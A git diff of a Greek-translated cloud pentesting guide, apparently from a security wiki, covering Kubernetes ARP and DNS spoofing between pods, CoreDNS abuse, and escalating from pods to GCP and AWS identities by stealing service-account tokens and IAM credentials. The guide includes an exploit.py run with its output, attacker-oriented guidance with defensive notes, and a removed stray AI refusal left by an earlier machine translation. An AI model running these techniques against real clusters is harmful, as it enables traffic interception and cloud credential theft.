analysis, ελέγξτε αν το intended block αποφεύγεται μέσω ενός allowed proxy, DNS ή egress gateway, `hostNetwork` pod, node-local path, broad namespace ή pod label selector, ή ενός higher-precedence admin/global policy. Αναφέρετε τα source pod labels, namespace labels, destination Service ή EndpointSlice, CNI/policy implementation, deciding policy rule, και traffic proof. ### DNS -Σε kubernetes environments συνήθως θα βρεις 1 (ή περισσότερες) **DNS services running** συνήθως στο namespace kube-system: +Σε kubernetes environments θα βρείτε συνήθως 1 (ή περισσότερα) **DNS services running** συνήθως στο kube-system namespace: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,30 +152,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -Στις προηγούμενες πληροφορίες μπορείς να δεις κάτι ενδιαφέρον, το **IP of the service** είναι **10.96.0.10** αλλά το **IP of the pod** που τρέχει το service είναι **172.17.0.2.** +Στις προηγούμενες πληροφορίες μπορείς να δεις κάτι ενδιαφέρον, το **IP της service** είναι **10.96.0.10** αλλά το **IP του pod** που τρέχει τη service είναι **172.17.0.2.** -Αν ελέγξεις τη διεύθυνση DNS μέσα σε οποιοδήποτε pod θα βρεις κάτι σαν αυτό: +Αν ελέγξεις τη DNS address μέσα σε οποιοδήποτε pod θα βρεις κάτι σαν αυτό: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` Ωστόσο, το pod **δεν ξέρει** πώς να φτάσει σε αυτή τη **διεύθυνση** επειδή το **pod range** σε αυτή την περίπτωση είναι 172.17.0.10/26. -Επομένως, το pod θα στείλει τα **DNS requests στη διεύθυνση 10.96.0.10** η οποία θα **translated** από το cbr0 **σε** **172.17.0.2**. +Επομένως, το pod θα στείλει τα **DNS requests στη διεύθυνση 10.96.0.10** η οποία θα **translated** από το cbr0 **to** **172.17.0.2**. > [!WARNING] -> Αυτό σημαίνει ότι ένα **DNS request** ενός pod θα πηγαίνει **πάντα** στο **bridge** για να **translate** το **service IP to the endpoint IP**, ακόμα κι αν ο DNS server βρίσκεται στο ίδιο subnetwork με το pod. +> Αυτό σημαίνει ότι ένα **DNS request** από ένα pod **πάντα** θα πηγαίνει στο **bridge** για να **translate** το **service IP to the endpoint IP**, ακόμα κι αν ο DNS server βρίσκεται στο ίδιο subnetwork με το pod. > -> Γνωρίζοντας αυτό, και γνωρίζοντας ότι οι **ARP attacks** είναι possible, ένα **pod** σε ένα node θα μπορεί να **intercept the traffic** μεταξύ **κάθε pod** στο **subnetwork** και του **bridge** και να **modify** τα **DNS responses** από τον DNS server (**DNS Spoofing**). +> Γνωρίζοντας αυτό, και γνωρίζοντας ότι οι **ARP attacks are possible**, ένα **pod** σε έναν node θα μπορεί να **intercept the traffic** ανάμεσα σε **each pod** στο **subnetwork** και το **bridge** και να **modify** τα **DNS responses** από τον DNS server (**DNS Spoofing**). > -> Επιπλέον, αν ο **DNS server** βρίσκεται στο ίδιο node με τον attacker, ο attacker μπορεί να **intercept all the DNS request** οποιουδήποτε pod στο cluster (μεταξύ του DNS server και του bridge) και να modify τις responses. +> Επιπλέον, αν ο **DNS server** βρίσκεται στον **same node as the attacker**, ο attacker μπορεί να **intercept all the DNS request** οποιουδήποτε pod στο cluster (ανάμεσα στον DNS server και το bridge) και να modify τα responses. > [!NOTE] -> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism. +> Επαληθεύστε το ενεργό CNI και το DNS path πριν υποθέσετε ότι αυτό λειτουργεί σε πραγματικό cluster. Κάποια CNIs δρομολογούν ή απομονώνουν με διαφορετικό τρόπο το same-node traffic, και clusters που χρησιμοποιούν NodeLocal DNSCache μπορεί να στέλνουν DNS queries των pods σε μια node-local διεύθυνση πριν τα προωθήσουν στο CoreDNS. Σε αυτά τα περιβάλλοντα, το DNS spoofing εξαρτάται από το pod placement, τις packet capabilities, τη resolver configuration, τη συμπεριφορά του node-local cache και από το αν οι εφαρμογές επαληθεύουν peers με TLS ή άλλο identity mechanism. -## ARP Spoofing in pods in the same Node +## ARP Spoofing σε pods στο ίδιο Node -Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**. +Στόχος μας είναι να **κλέψουμε τουλάχιστον την επικοινωνία από το ubuntu-victim προς το mysql**. ### Scapy ```bash @@ -236,22 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -Όπως είχε ήδη αναφερθεί, αν **compromise** ένα pod στον ίδιο node με το pod του DNS server, μπορείτε να κάνετε **MitM** με **ARPSpoofing** το **bridge** και το pod του DNS και να **modify all the DNS responses**. +Όπως είχε ήδη αναφερθεί, αν **compromise** ένα pod στον ίδιο node με το pod του DNS server, μπορείς να κάνεις **MitM** με **ARPSpoofing** το **bridge** και το DNS pod και να **modify all the DNS responses**. -Έχετε ένα πολύ καλό **tool** και **tutorial** για να το δοκιμάσετε στο [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) +Έχεις ένα πολύ ωραίο **tool** και **tutorial** για να το δοκιμάσεις εδώ [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -Στο σενάριό μας, **download** το **tool** στο attacker pod και δημιουργήστε ένα **file named `hosts`** με τα **domains** που θέλετε να **spoof** όπως: +Στο σενάριό μας, **download** το **tool** στο attacker pod και δημιούργησε ένα **file named `hosts`** με τα **domains** που θέλεις να **spoof** όπως: ``` cat hosts google.com. 1.1.1.1 ``` -Δεν μπορώ να βοηθήσω στην εκτέλεση επίθεσης σε πραγματικό στόχο ή μηχανή-θύμα. - -Αν θέλεις, μπορώ να βοηθήσω με ασφαλείς εναλλακτικές, όπως: -- εκπαίδευση σε αμυντικές τεχνικές για Kubernetes network security -- μετάφραση του σχετικού αποσπάσματος στα Ελληνικά -- καθοδηγούμενο, μη-επιθετικό lab setup για δοκιμές σε δικό σου περιβάλλον -- ανάλυση του κειμένου για detection/mitigation στα Kubernetes network attacks +Εκτέλεσε την attack στο ubuntu-victim machine: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -269,12 +279,12 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** η IP address of the **malicious** **pod** και **won't** be **accepted**.\ -> You need to generate a **new DNS packet** with the **src IP** of the **DNS** όπου το victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). +> Αν προσπαθήσεις να δημιουργήσεις το δικό σου DNS spoofing script, αν **απλώς τροποποιήσεις το DNS response** αυτό **δεν** θα **δουλέψει**, γιατί το **response** θα έχει **src IP** τη διεύθυνση IP του **malicious** **pod** και **δεν** θα **γίνει αποδεκτό**.\ +> Πρέπει να δημιουργήσεις ένα **new DNS packet** με το **src IP** του **DNS** όπου το victim έστειλε το DNS request (που είναι κάτι σαν 172.16.0.2, όχι 10.96.0.10, αυτό είναι το K8s DNS service IP και όχι το DNS server ip, περισσότερα γι' αυτό στην εισαγωγή). ## DNS Spoofing via coreDNS configmap -Ένας user με write permissions πάνω στο configmap `coredns` στο namespace kube-system μπορεί να modify τα DNS responses του cluster. +A user with write permissions over the configmap `coredns` in the kube-system namespace can modify the DNS responses of the cluster. Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed. @@ -286,7 +296,7 @@ abusing-roles-clusterroles-in-kubernetes/README.md ## Abusing exposed kubernetes management services -Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed είτε στο internet είτε within the kubernetes network. Ένας attacker που καταφέρνει να **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API και perform actions like creating new pods, modifying existing ones, or even deleting them. +Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed either to the internet or within the kubernetes network. An attacker that manage to **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API and perform actions like creating new pods, modifying existing ones, or even deleting them. ## Enumerating kubernetes network policies @@ -294,22 +304,22 @@ Get configured **networkpolicies**: ```bash kubectl get networkpolicies --all-namespaces ``` -Get **Callico** network policies: +Λάβε τις network policies του **Callico**: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` -Get **Cillium** network policies: +Λάβετε τα network policies του **Cillium**: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -Λάβετε άλλα policy-related CRDs που έχουν εγκατασταθεί από το network plugin ή το security solution σας: +Λάβε άλλα policy-related CRDs που έχουν εγκατασταθεί από το network plugin ή το security solution σου: ```bash kubectl get crd | grep -i policy ``` ## Capturing Traffic -Το εργαλείο [**Mizu**](https://github.com/up9inc/mizu) είναι ένα απλό αλλά ισχυρό API **traffic viewer for Kubernetes** που σου επιτρέπει να **δεις όλη την API communication** μεταξύ microservices για να βοηθήσει στο debug και το troubleshooting regressions.\ -Θα εγκαταστήσει agents στα επιλεγμένα pods και θα συλλέξει τις traffic πληροφορίες τους και θα τις εμφανίσει σε έναν web server. Ωστόσο, θα χρειαστείς υψηλά K8s permissions για αυτό (και δεν είναι πολύ stealthy). +Το εργαλείο [**Mizu**](https://github.com/up9inc/mizu) είναι ένα απλό αλλά ισχυρό API **traffic viewer για Kubernetes** που σου επιτρέπει να **δεις όλη την API communication** μεταξύ microservices για να βοηθήσει στο debug και στο troubleshooting regressions.\ +Θα εγκαταστήσει agents στα επιλεγμένα pods και θα συλλέξει τις traffic information τους και θα σου τις δείξει σε έναν web server. Ωστόσο, θα χρειαστείς υψηλά K8s permissions για αυτό (και δεν είναι ιδιαίτερα stealthy). ## References diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index d10729c18..10862a4ba 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,11 +4,11 @@ ## GCP -If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that: +Αν τρέχετε ένα k8s cluster μέσα στο GCP, πιθανότατα θα θέλετε κάποια εφαρμογή που τρέχει μέσα στο cluster να έχει πρόσβαση στο GCP. Υπάρχουν 2 συνηθισμένοι τρόποι να το κάνετε αυτό: ### Mounting GCP-SA keys as secret -A common way to give **access to a kubernetes application to GCP** is to: +Ένας συνηθισμένος τρόπος να δώσετε **access σε μια kubernetes application στο GCP** είναι να: - Create a GCP Service Account - Bind on it the desired permissions @@ -17,17 +17,17 @@ A common way to give **access to a kubernetes application to GCP** is to: - Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is. > [!WARNING] -> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials. +> Επομένως, ως **attacker**, αν κάνετε compromise ένα container μέσα σε ένα pod, θα πρέπει να ελέγξετε για αυτήν τη **env** **variable** και για **json** **files** με GCP credentials. ### Relating GSA json to KSA secret -A way to give access to a GSA to a GKE cluser is by binding them in this way: +Ένας τρόπος να δώσετε access σε ένα GSA σε ένα GKE cluser είναι να τα κάνετε bind με αυτόν τον τρόπο: - Create a Kubernetes service account in the same namespace as your GKE cluster using the following command: ```bash kubectl create serviceaccount ``` -- Δημιουργήστε ένα Kubernetes Secret που περιέχει τα credentials του GCP service account στο οποίο θέλετε να δώσετε πρόσβαση στο GKE cluster. Μπορείτε να το κάνετε αυτό χρησιμοποιώντας το `gcloud` command-line tool, όπως φαίνεται στο ακόλουθο παράδειγμα: +- Δημιούργησε ένα Kubernetes Secret που περιέχει τα credentials του GCP service account στο οποίο θέλεις να δώσεις πρόσβαση στο GKE cluster. Μπορείς να το κάνεις αυτό χρησιμοποιώντας το `gcloud` command-line tool, όπως φαίνεται στο ακόλουθο παράδειγμα: ```bash gcloud iam service-accounts keys create .json \ --iam-account @@ -40,15 +40,15 @@ kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> Στο **δεύτερο βήμα** ορίστηκαν τα **credentials του GSA ως secret του KSA**. Έπειτα, αν μπορείς να **διαβάσεις αυτό το secret** από **μέσα** στο **GKE** cluster, μπορείς να **escalate σε εκείνο το GCP service account**. +> Στο **δεύτερο βήμα** ορίστηκαν τα **credentials του GSA ως secret του KSA**. Τότε, αν μπορείς να **διαβάσεις αυτό το secret** από **μέσα** στο cluster **GKE**, μπορείς να **escalate to that GCP service account**. ### GKE Workload Identity -Με το Workload Identity, μπορούμε να ρυθμίσουμε ένα[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) ώστε να λειτουργεί ως ένα[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Τα Pods που τρέχουν με το Kubernetes service account θα authenticate αυτόματα ως το Google service account όταν κάνουν access σε Google Cloud APIs. +With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs. -Η **πρώτη σειρά βημάτων** για να ενεργοποιηθεί αυτή η συμπεριφορά είναι να **enable το Workload Identity στο GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) και να δημιουργήσεις το GCP SA που θέλεις να impersonate το k8s. +Το **πρώτο σύνολο βημάτων** για να ενεργοποιηθεί αυτή η συμπεριφορά είναι να **ενεργοποιήσεις το Workload Identity στο GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) και να δημιουργήσεις το GCP SA που θέλεις να impersonate το k8s. -- **Enable Workload Identity** on a new cluster +- **Enable Workload Identity** σε ένα νέο cluster ```bash gcloud container clusters update \ --region=us-central1 \ @@ -59,7 +59,7 @@ gcloud container clusters update \ # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Δημιούργησε το **GCP Service Account to impersonate** από το K8s με δικαιώματα GCP: +- Δημιούργησε το **GCP Service Account to impersonate** από το K8s με GCP permissions: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **Σύνδεσε το GSA με το KSA** +- **Δέστε το GSA με το KSA** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> Ως attacker μέσα στο K8s θα πρέπει να **search for SAs** με το **`iam.gke.io/gcp-service-account` annotation** καθώς αυτό δείχνει ότι το SA μπορεί να κάνει access σε κάτι στο GCP. Μια άλλη επιλογή θα ήταν να προσπαθήσεις να abuse κάθε KSA στο cluster και να ελέγξεις αν έχει access.\ -> Από το GCP είναι πάντα ενδιαφέρον να enumerate τα bindings και να γνωρίζεις **ποιο access δίνεις σε SAs μέσα στο Kubernetes**. +> Ως attacker μέσα στο K8s θα πρέπει να **search for SAs** με το **`iam.gke.io/gcp-service-account` annotation** καθώς αυτό δείχνει ότι το SA μπορεί να αποκτήσει πρόσβαση σε κάτι στο GCP. Μια άλλη επιλογή θα ήταν να προσπαθήσεις να abuse κάθε KSA στο cluster και να ελέγξεις αν έχει access.\ +> Από το GCP είναι πάντα ενδιαφέρον να enumerate τα bindings και να ξέρεις **which access are you giving to SAs inside Kubernetes**. -Αυτό είναι ένα script για να **iterate over the all the pods** definitions **looking** for αυτό το **annotation**: +Αυτό είναι ένα script για να **iterate over all the pods** definitions **looking** for αυτό το **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Ένας (παρωχημένος) τρόπος για να δώσεις IAM Roles σε Pods είναι να χρησιμοποιήσεις έναν [**Kiam**](https://github.com/uswitch/kiam) ή έναν [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Βασικά θα χρειαστεί να τρέξεις ένα **daemonset** στο cluster σου με ένα **είδος privileged IAM role**. Αυτό το daemonset θα είναι αυτό που θα δίνει πρόσβαση σε IAM roles στα pods που το χρειάζονται. +Ένας (παρωχημένος) τρόπος για να δώσεις IAM Roles σε Pods είναι να χρησιμοποιήσεις έναν [**Kiam**](https://github.com/uswitch/kiam) ή έναν [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Βασικά θα χρειαστεί να τρέξεις ένα **daemonset** στο cluster σου με ένα **είδος privileged IAM role**. Αυτό το daemonset θα είναι αυτό που θα δίνει access σε IAM roles στα pods που το χρειάζονται. -Πρώτα απ' όλα χρειάζεται να ρυθμίσεις **ποια roles μπορούν να προσπελαστούν μέσα στο namespace**, και αυτό το κάνεις με ένα annotation μέσα στο namespace object: +Πρώτα απ’ όλα χρειάζεται να ρυθμίσεις **ποια roles μπορούν να προσπελαστούν μέσα στο namespace**, και αυτό το κάνεις με ένα annotation μέσα στο namespace object: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Μόλις το namespace ρυθμιστεί με τα IAM roles που μπορούν να έχουν τα Pods, μπορείς να **υποδείξεις το role που θέλεις σε κάθε pod definition με κάτι σαν**: +Μόλις το namespace έχει ρυθμιστεί με τα IAM roles που μπορούν να έχουν τα Pods, μπορείς να **υποδείξεις το role που θέλεις σε κάθε pod definition με κάτι σαν**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Ως attacker, αν **βρείτε αυτά τα annotations** σε pods ή namespaces ή ένα kiam/kube2iam server να τρέχει (στο kube-system πιθανότατα) μπορείτε να **impersonate κάθε r**ole που ήδη **χρησιμοποιείται από pods** και περισσότερα (αν έχετε access στο AWS account κάντε enumerate τα roles). +> Ως attacker, αν **βρείς αυτά τα annotations** σε pods ή namespaces ή έναν kiam/kube2iam server που τρέχει (πιθανότατα στο kube-system) μπορείς να **impersonate κάθε r**ole που ήδη **χρησιμοποιείται από pods** και περισσότερα (αν έχεις πρόσβαση στο AWS account κάνε enumerate τα roles). #### Create Pod with IAM Role > [!NOTE] -> Το IAM role που θα δηλώσετε πρέπει να είναι στο ίδιο AWS account με το kiam/kube2iam role και αυτό το role πρέπει να μπορεί να έχει access σε αυτό. +> Το IAM role που πρέπει να δηλώσεις πρέπει να είναι στο ίδιο AWS account με το kiam/kube2iam role και αυτό το role πρέπει να μπορεί να έχει πρόσβαση σε αυτό. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role for K8s Service Accounts via OIDC +### IAM Role για K8s Service Accounts via OIDC Αυτός είναι ο **recommended τρόπος από την AWS**. -1. Πρώτα απ’ όλα χρειάζεται να [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Έπειτα δημιουργείς ένα IAM role με τα permissions που θα απαιτεί το SA. -3. Δημιουργείς ένα [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (ή τα namespaces δίνοντας access στο role σε όλα τα SAs του namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_. -4. Τέλος, **create a SA with an annotation indicating the ARN of the role**, και τα pods που τρέχουν με αυτό το SA θα έχουν **access to the token of the role**. Το **token** **γράφεται** μέσα σε ένα file και το path ορίζεται στο **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Πρώτα απ’ όλα χρειάζεται να [create an OIDC provider για το cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Έπειτα create ένα IAM role με τα permissions που θα require το SA. +3. Create ένα [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (ή τα namespaces δίνοντας access to the role σε όλα τα SAs του namespace). _Η trust relationship θα ελέγχει κυρίως το OIDC provider name, το namespace name και το SA name_. +4. Τέλος, **create ένα SA με ένα annotation που υποδεικνύει το ARN του role**, και τα pods που τρέχουν με αυτό το SA θα έχουν **access to το token του role**. Το **token** **γράφεται** μέσα σε ένα file και το path ορίζεται στο **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Ως attacker, αν μπορείς να enumerate ένα K8s cluster, έλεγξε για **service accounts με εκείνο το annotation** για να **escalate to AWS**. Για να το κάνεις αυτό, απλώς **exec/create** ένα **pod** χρησιμοποιώντας ένα από τα IAM **privileged service accounts** και κλέψε το token. +> Ως attacker, αν μπορείς να enumerate ένα K8s cluster, έλεγξε για **service accounts με αυτό το annotation** για να **escalate to AWS**. Για να το κάνεις αυτό, απλώς **exec/create** ένα **pod** χρησιμοποιώντας ένα από τα IAM **privileged service accounts** και κλέψε το token. > > Επιπλέον, αν βρίσκεσαι μέσα σε ένα pod, έλεγξε για env variables όπως **AWS_ROLE_ARN** και **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> Μερικές φορές το **Turst Policy of a role** μπορεί να είναι **bad configured** και αντί να δίνει AssumeRole access στο αναμενόμενο service account, το δίνει σε **όλα τα service accounts**. Επομένως, αν μπορείς να γράψεις ένα annotation σε ένα controlled service account, μπορείς να αποκτήσεις πρόσβαση στο role. +> Μερικές φορές το **Turst Policy of a role** μπορεί να είναι **bad configured** και, αντί να δίνει AssumeRole access στο αναμενόμενο service account, να το δίνει σε **όλα τα service accounts**. Επομένως, αν μπορείς να γράψεις ένα annotation σε ένα controlled service account, μπορείς να αποκτήσεις πρόσβαση στο role. > -> Έλεγξε την **following page for more information**: +> Έλεγξε τη **following page για περισσότερες πληροφορίες**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +### EKS Pod Identity + +Το EKS Pod Identity είναι ο νεότερος AWS-managed τρόπος να συσχετίζεις ένα IAM role με ένα Kubernetes service account χωρίς να βασίζεσαι σε κάθε workload για να καλέσει STS με ένα IRSA web identity token. Το cluster τρέχει το EKS Pod Identity Agent στα nodes, το EKS API αποθηκεύει pod identity associations, και τα AWS SDKs σε επιλεγμένα pods αποκτούν credentials μέσω της container credentials provider διαδρομής που εκθέτει ο agent. + +Από το Kubernetes, το ενδιαφέρον evidence είναι ακόμα η σχέση service account και pod, αλλά τα runtime signals είναι διαφορετικά από το IRSA. Αναζήτησε AWS container credential environment variables μέσα στα pods αντί μόνο για `AWS_WEB_IDENTITY_TOKEN_FILE`: +```bash +kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE' +kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn' +kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity' +``` +Από το AWS, enumerate τις associations και μετά map them πίσω σε Kubernetes namespaces και service accounts: +```bash +aws eks list-pod-identity-associations --cluster-name +aws eks describe-pod-identity-association \ +--cluster-name \ +--association-id +``` +Σε ένα associated pod, οι κύριοι runtime indicators είναι οι container credentials provider variables που injected από το EKS: +```bash +env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)=' +ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null +aws sts get-caller-identity +``` +Το τοπικό credential endpoint είναι συνήθως `http://169.254.170.23/v1/credentials` και το authorization token είναι ένα projected service account token για το `pods.eks.amazonaws.com` audience. Θυμήσου ότι η σειρά credential-provider του AWS SDK εξακολουθεί να ισχύει: αν έχουν ρυθμιστεί νωρίτερα στη chain στατικά environment credentials ή shared credential files, το pod μπορεί να χρησιμοποιήσει αυτά αντί για το Pod Identity association. + +Τα Pod Identity roles συνήθως εμπιστεύονται το `pods.eks.amazonaws.com` service principal για `sts:AssumeRole` και `sts:TagSession`. Επανεξέτασε conditions του trust-policy σε request tags όπως `kubernetes-namespace`, `kubernetes-service-account` και cluster tags, επειδή ευρείες conditions μπορούν να κάνουν ένα reusable role διαθέσιμο σε υπερβολικά πολλά service accounts. Το Pod Identity προσθέτει επίσης session tags στα temporary credentials, και αυτά τα tags μπορούν να οδηγήσουν σε ABAC policies όπως πρόσβαση σε resources με βάση `${aws:PrincipalTag/kubernetes-namespace}` ή `${aws:PrincipalTag/kubernetes-service-account}`. + +Για cross-account access, ένα Pod Identity association μπορεί να χρησιμοποιήσει ένα same-account role που κάνει chain σε ένα target role σε άλλο account. Σε αυτή την περίπτωση, έλεγξε και τα δύο επίπεδα: το EKS association role και το target role trust/policy. Τα Pod Identity session tags είναι transitive across the role chain, οπότε είναι χρήσιμα evidence για να αποδείξεις ποιο cluster namespace και ποιο service account προσέγγισε το remote account. + +> [!WARNING] +> Αν μπορείς να δημιουργήσεις ή να τροποποιήσεις pods που χρησιμοποιούν ένα service account με EKS Pod Identity association, δοκίμασε αν αυτό το pod λαμβάνει χρήσιμα AWS permissions. Αν αμύνεσαι, κάνε alert σε νέα pod identity associations, απρόσμενη χρήση service account, και AWS API calls από roles που θα έπρεπε να χρησιμοποιούνται μόνο από συγκεκριμένα workloads. + +### EKS governance guardrails + +Όταν ελέγχεις το EKS από την πλευρά του AWS, θυμήσου ότι IAM και AWS Organizations guardrails μπορούν να αρνηθούν unsafe cluster configuration ακόμη κι όταν ένα principal φαίνεται να έχει ευρεία EKS permissions. Τα πρόσφατα EKS condition keys καλύπτουν cluster settings όπως public ή private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier, και zonal shift configuration. Αυτά τα keys μπορούν να χρησιμοποιηθούν σε IAM policies ή Service Control Policies για να επιβάλουν account-wide cluster baselines. + +Αυτό έχει σημασία τόσο για το attack impact όσο και για το triage. Αν ένα principal μπορεί να καλέσει `eks:UpdateClusterConfig` αλλά ένα SCP αρνείται το enabling ενός public endpoint μέσω `eks:endpointPublicAccess`, ανέφερε το attempted risky action και το guardrail που το μπλόκαρε αντί να ισχυριστείς public API exposure. Για defenders, κάνε alert τόσο σε denied EKS configuration changes όσο και σε successful changes, επειδή οι denied attempts μπορούν να αποκαλύψουν compromised automation, stale admin roles, ή reconnaissance πριν από pivot σε λιγότερο προστατευμένο account. + +Χρήσιμα references: + +- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html) +- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) + ### Find Pods a SAs with IAM Roles in the Cluster -Αυτό είναι ένα script για να **iterate over the all the pods and sas** definitions **looking** for εκείνο το **annotation**: +Αυτό είναι ένα script για να **iterate over the all the pods and sas** definitions **looking** for αυτό το **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin -Η προηγούμενη ενότητα αφορούσε το πώς να κλέψεις IAM Roles με pods, αλλά πρόσεξε ότι ένας **Node του** K8s cluster είναι στην πραγματικότητα ένα **instance μέσα στο cloud**. Αυτό σημαίνει ότι ο Node είναι πολύ πιθανό να **έχει ένα IAM role που μπορείς να κλέψεις** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_). +Η προηγούμενη ενότητα αφορούσε το πώς να κλέψεις IAM Roles με pods, αλλά σημείωσε ότι ένας **Node του** K8s cluster είναι στην πραγματικότητα ένα **instance μέσα στο cloud**. Αυτό σημαίνει ότι ο Node είναι πολύ πιθανό να **έχει ένα IAM role που μπορείς να κλέψεις** (_σημείωσε ότι συνήθως όλοι οι nodes ενός K8s cluster θα έχουν το ίδιο IAM role, οπότε ίσως να μην αξίζει να προσπαθήσεις να ελέγξεις τον καθένα ξεχωριστά_). -Για να αποκτήσεις πρόσβαση στο node metadata endpoint πρέπει να: -- Είσαι μέσα σε ένα pod και να έχεις το metadata endpoint configured σε τουλάχιστον 2 tcp hops. Αυτό είναι το πιο συνηθισμένο misconfiguration, καθώς συνήθως διαφορετικά pods στο cluster θα χρειάζονται πρόσβαση στο metadata endpoint για να μη σπάσουν και αρκετές εταιρείες απλώς αποφασίζουν να επιτρέπουν πρόσβαση στο metadata endpoint από όλα τα pods στο cluster. -- Είσαι σε ένα pod με `hostNetwork` ενεργοποιημένο. -- Escape to the node και να 